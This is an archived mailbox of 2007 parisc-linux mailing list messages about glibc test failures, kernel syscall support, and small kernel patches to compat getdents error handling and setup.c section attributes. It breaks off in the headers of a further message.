X-Trace: ger.gmane.org 1416624636 28380 80.91.229.3 (22 Nov 2014 02:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:36 +0000 (UTC)
Cc: debian-glibc@lists.debian.org
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Feb 2007 20:45:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx065) with SMTP; 07 Feb 2007 21:45:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBE147DA65;
	Wed,  7 Feb 2007 13:45:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29326-10; Wed, 7 Feb 2007 13:45:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE1E27DA5D;
	Wed,  7 Feb 2007 13:45:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 077FA7DA42
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 13:45:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29326-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Feb 2007 13:45:14 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 558797D626
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 13:45:14 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 2CD27494009; Wed,  7 Feb 2007 13:45:14 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id A8821494003
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Feb 2007 13:44:52 -0700 (MST)
Original-Received: from list by ciao.gmane.org with local (Exim 4.43)
	id 1HEteq-0000QU-V8
	for parisc-linux@parisc-linux.org; Wed, 07 Feb 2007 21:44:49 +0100
Original-Received: from mnhm-590c1022.pool.einsundeins.de ([89.12.16.34])
	by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
	id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Wed, 07 Feb 2007 21:44:48 +0100
Original-Received: from deller by mnhm-590c1022.pool.einsundeins.de with local (Gmexim
	0.1 (Debian)) id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Wed, 07 Feb 2007 21:44:48 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Followup-To: gmane.linux.ports.hppa
Original-Lines: 18
Original-X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: mnhm-590c1022.pool.einsundeins.de
User-Agent: KNode/0.10.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HleoEeQ9bXBt87qHPTQ2P7cqLyUmZYi1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25426

>> tst-timer4.out :
>> clock_gettime returned timespec = { 1170787417, 996313000 }
>> clock_getres returned timespec = { 0, 4000250 }
> 
> Unknown.

> Linux hake 2.6.19.2 #2 Thu Feb 1 19:58:15 EST 2007 parisc PA8600 (PCX-W+) 

I don't know this test, but it might be fixed with a newer Linux kernel,
which includes those patches:

[GENERIC_TIME patchset for parisc]:
http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=b6de83b58b8b07f057deacdef8a95b6c32d1c4e6

[disable cr16 clocksource when multiple CPUs are online]:
http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=f70a979c843e4610edfb2a316648fe8ae8718f69

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: glibc nptl failure baseline update.
Date: Wed, 07 Feb 2007 21:56:02 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <eqded2$gc$1__39690.8144969077$1416624636$gmane$org@sea.gmane.org>
References: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
	<20070206122329.GA13101@parisc-linux.org>
	<119aab440702061359w376b611fm7d47d9ca7e0a9a8a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1416624636 28384 80.91.229.3 (22 Nov 2014 02:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:36 +0000 (UTC)
Cc: debian-glibc@lists.debian.org
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Feb 2007 20:57:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 07 Feb 2007 21:57:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 430EF7DA6D;
	Wed,  7 Feb 2007 13:57:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29575-10; Wed, 7 Feb 2007 13:57:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F1D757DA73;
	Wed,  7 Feb 2007 13:57:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D9B37DA65
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 13:56:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29575-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Feb 2007 13:56:51 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A01D57DA63
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Feb 2007 13:56:51 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 57CDF494009; Wed,  7 Feb 2007 13:56:51 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id D6191494003
	for <parisc-linux@parisc-linux.org>;
	Wed,  7 Feb 2007 13:56:30 -0700 (MST)
Original-Received: from list by ciao.gmane.org with local (Exim 4.43)
	id 1HEtpz-00024I-HI
	for parisc-linux@parisc-linux.org; Wed, 07 Feb 2007 21:56:19 +0100
Original-Received: from mnhm-590c1022.pool.einsundeins.de ([89.12.16.34])
	by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
	id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Wed, 07 Feb 2007 21:56:19 +0100
Original-Received: from deller by mnhm-590c1022.pool.einsundeins.de with local (Gmexim
	0.1 (Debian)) id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Wed, 07 Feb 2007 21:56:19 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Followup-To: gmane.linux.ports.hppa
Original-Lines: 24
Original-X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: mnhm-590c1022.pool.einsundeins.de
User-Agent: KNode/0.10.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cli4Zcd8eSE59b6WZHQhE/52IGRvb4Cm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25427

Carlos O'Donell wrote:

> On 2/6/07, Matthew Wilcox <matthew@wil.cx> wrote:
>> On Mon, Feb 05, 2007 at 10:13:01PM -0500, Carlos O'Donell wrote:
>> > make[2]: *** [/libc-tls-nptl/io/tst-fstatat.out] Error 1
>> > make[2]: *** [/libc-tls-nptl/io/tst-futimesat.out] Error 1
>> > make[2]: *** [/libc-tls-nptl/io/tst-renameat.out] Error 1
>> > make[2]: *** [/libc-tls-nptl/io/tst-fchmodat.out] Error 1
>> > make[2]: *** [/libc-tls-nptl/io/tst-symlinkat.out] Error 1
>> > make[2]: *** [/libc-tls-nptl/io/tst-linkat.out] Error 1
>> > make[2]: *** [/libc-tls-nptl/io/tst-mkdirat.out] Error 1
>> > make[2]: *** [/libc-tls-nptl/io/tst-mkfifoat.out] Error 1
>>
>> I guess we need to hook up the *at syscalls.
> 
> Helge hooked them up already? This build uses an old header set and
> doesn't detect the *at functions. The fallbacks have likely never been
> tested, and as always... are rotten and don't work properly.

TIF_RESTORE_SIGMASK support ?
I think the honour goes to Kyle:
http://git.parisc-linux.org/?p=linux-2.6.git;a=commitdiff;h=eeb14f5d284eacfa939153302dadfb7dc134ff9e;hp=dc914919be25ee5e98df90558c591d76d4b231d4

Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@openvz.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Sync compat getdents on ia64 and parisc
Date: Wed, 21 Feb 2007 18:18:06 +0300
Lines: 76
Approved: news@gmane.org
Message-ID: <20070221151806.GA11151__810.166778001253$1416624637$gmane$org@localhost.sw.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624637 28389 80.91.229.3 (22 Nov 2014 02:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:37 +0000 (UTC)
Cc: Alexandr Andreev <aandreev@openvz.org>,
 devel@openvz.org
To: akpm@osdl.org,
 parisc-linux@parisc-linux.org,
 linux-ia64@vger.kernel.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Feb 2007 21:32:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx098) with SMTP; 21 Feb 2007 22:32:53 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1AA87DC10;
	Wed, 21 Feb 2007 14:32:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05892-10; Wed, 21 Feb 2007 14:32:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 632717DC11;
	Wed, 21 Feb 2007 14:32:46 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F8567DC13
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Feb 2007 08:11:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04075-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Feb 2007 08:11:15 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9B8727DC11
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Feb 2007 08:11:15 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 62CD8494007; Wed, 21 Feb 2007 08:11:15 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from relay.sw.ru (mailhub.sw.ru [195.214.233.200])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 8339E494006
	for <parisc-linux@parisc-linux.org>;
	Wed, 21 Feb 2007 08:10:53 -0700 (MST)
Original-Received: from sw.ru ([192.168.0.148])
	by relay.sw.ru (8.13.4/8.13.4) with SMTP id l1LFAfuW022592;
	Wed, 21 Feb 2007 18:10:42 +0300 (MSK)
Original-Received: by sw.ru (nbSMTP-1.00) for uid 1000
	adobriyan@sw.ru; Wed, 21 Feb 2007 18:18:08 +0300 (MSK)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Wed, 21 Feb 2007 14:32:45 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sYzvccMfTXs94ayRbmQ5ApdKRzdyMkPr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25428

From: Alexandr Andreev <aandreev@openvz.org>

Add VERIFY_WRITE check in the beginning like compat_sys_getdents()
[EINVAL vs EFAULT on ia64.
 EFAULT on parisc if put_user() fails. --adobriyan]

Can arch maintainers look if compat_sys_getdents() is OK for them?

Signed-off-by: Alexandr Andreev <aandreev@openvz.org>
Signed-off-by: Alexey Dobriyan <adobriyan@openvz.org>
---

 arch/ia64/ia32/sys_ia32.c         |   10 +++++++---
 arch/parisc/kernel/sys_parisc32.c |   10 ++++++++--
 2 files changed, 15 insertions(+), 5 deletions(-)

--- a/arch/ia64/ia32/sys_ia32.c
+++ b/arch/ia64/ia32/sys_ia32.c
@@ -1267,6 +1267,10 @@ sys32_getdents (unsigned int fd, struct 
 	struct getdents32_callback buf;
 	int error;
 
+	error = -EFAULT;
+	if (!access_ok(VERIFY_WRITE, dirent, count))
+		goto out;
+
 	error = -EBADF;
 	file = fget(fd);
 	if (!file)
@@ -1283,10 +1287,10 @@ sys32_getdents (unsigned int fd, struct 
 	error = buf.error;
 	lastdirent = buf.previous;
 	if (lastdirent) {
-		error = -EINVAL;
 		if (put_user(file->f_pos, &lastdirent->d_off))
-			goto out_putf;
-		error = count - buf.count;
+			error = -EFAULT;
+		else
+			error = count - buf.count;
 	}
 
 out_putf:
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -350,6 +350,10 @@ sys32_getdents (unsigned int fd, void __
 	struct getdents32_callback buf;
 	int error;
 
+	error = -EFAULT;
+	if (!access_ok(VERIFY_WRITE, dirent, count))
+		goto out;
+
 	error = -EBADF;
 	file = fget(fd);
 	if (!file)
@@ -366,8 +370,10 @@ sys32_getdents (unsigned int fd, void __
 	error = buf.error;
 	lastdirent = buf.previous;
 	if (lastdirent) {
-		put_user(file->f_pos, &lastdirent->d_off);
-		error = count - buf.count;
+		if (put_user(file->f_pos, &lastdirent->d_off))
+			error = -EFAULT;
+		else
+			error = count - buf.count;
 	}
 
 out_putf:

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexey Dobriyan <adobriyan@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: unbreak setup.c re command_line
Date: Sat, 24 Feb 2007 02:32:26 +0300
Lines: 31
Approved: news@gmane.org
Message-ID: <20070223233226.GC5599__37026.9650164575$1416624637$gmane$org@martell.zuzino.mipt.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624637 28394 80.91.229.3 (22 Nov 2014 02:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:37 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: akpm@osdl.org
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Feb 2007 04:25:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 24 Feb 2007 05:25:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E53BD7DA6E;
	Fri, 23 Feb 2007 21:25:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30421-05; Fri, 23 Feb 2007 21:25:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC7B07DA17;
	Fri, 23 Feb 2007 21:25:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 093257DABB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 16:32:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28114-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 16:32:34 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 64DAB7DABA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Feb 2007 16:32:34 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 293CF494007; Fri, 23 Feb 2007 16:32:34 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from nf-out-0910.google.com (nf-out-0910.google.com [64.233.182.190])
	by mail.parisc-linux.org (Postfix) with ESMTP id B738D494005
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Feb 2007 16:32:12 -0700 (MST)
Original-Received: by nf-out-0910.google.com with SMTP id k27so788252nfc
	for <parisc-linux@parisc-linux.org>;
	Fri, 23 Feb 2007 15:32:11 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:received:date:from:to:cc:subject:message-id:mime-version:content-type:content-disposition:user-agent;
	b=Vd78b+ZKKJfb/OSkIpPXwQoM+yE9LM7/NzgIDq7A28sovZtIvPf3PxQHTd7ac5t68mVatxk6GtK8+3+B7sCLNBMDSBun8Cfo8ny/7Lgd/l6dauRDfn4o91t7orEjB39mUjKVsy4UnJaGv6G/TcVCd9XivFsxplz0tx3NjT0/2qU=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:date:from:to:cc:subject:message-id:mime-version:content-type:content-disposition:user-agent;
	b=dkqpIHA0LNCCKlgM/OJ7LoElCEnH5ae6xypJLWsbkKAO89S0uka4tHLPhekh4gY0nJohcFWM43oinRMlTiTsGx2JA0X0u4WrZXGAPPCDa5cOiMpqfWZXJ8Awz6BwtINXyCQOy0WlkF5STdXeYIEYJNkbpeqxO2OugYPVo+EEGd0=
Original-Received: by 10.49.90.4 with SMTP id s4mr7058415nfl.1172273531943;
	Fri, 23 Feb 2007 15:32:11 -0800 (PST)
Original-Received: from gmail.com ( [217.67.117.64])
	by mx.google.com with ESMTP id z33sm5993894ikz.2007.02.23.15.32.10;
	Fri, 23 Feb 2007 15:32:11 -0800 (PST)
Original-Received: by gmail.com (nbSMTP-1.00) for uid 1000
	(using TLSv1/SSLv3 with cipher DES-CBC3-SHA (168/168 bits))
	adobriyan@gmail.com; Sat, 24 Feb 2007 02:32:27 +0300 (MSK)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Fri, 23 Feb 2007 21:25:28 -0700
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CYbqca4kRkke1KuPfGRquKVmdWkvKNPd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25429

What compiler is supposed to do upon seeing

	char __attribute__((__section__ (".init.data")))	command_line[1024]
	     __attribute__((__section__(".data.read_mostly")));

?

Signed-off-by: Alexey Dobriyan <adobriyan@gmail.com>
---

 arch/parisc/kernel/setup.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -45,7 +45,7 @@ #include <asm/pdc_chassis.h>
 #include <asm/io.h>
 #include <asm/setup.h>
 
-char	__initdata command_line[COMMAND_LINE_SIZE] __read_mostly;
+static char __initdata command_line[COMMAND_LINE_SIZE];
 
 /* Intended for ccio/sba/cpu statistics under /proc/bus/{runway|gsc} */
 struct proc_dir_entry * proc_runway_root __read_mostly = NULL;

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch 10/33] hilkbd: Kill compiler warning and fix
	comment dyslexia
Date: Tue, 01 May 2007 21:51:02 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <20070501195132.228808086__14686.6252799102$1416624637$gmane$org@mail.of.borg>
References: <20070501195052.390551603@mail.of.borg>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624637 28396 80.91.229.3 (22 Nov 2014 02:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:37 +0000 (UTC)
Cc: linux-m68k@vger.kernel.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Linus Torvalds <torvalds@linux-foundation.org>,
 Andrew Morton <akpm@linux-foundation.org>
Original-X-From: - Wed Jul 02 21:28:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2007 07:55:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 02 May 2007 09:55:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC5C47DB01;
	Wed,  2 May 2007 01:55:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
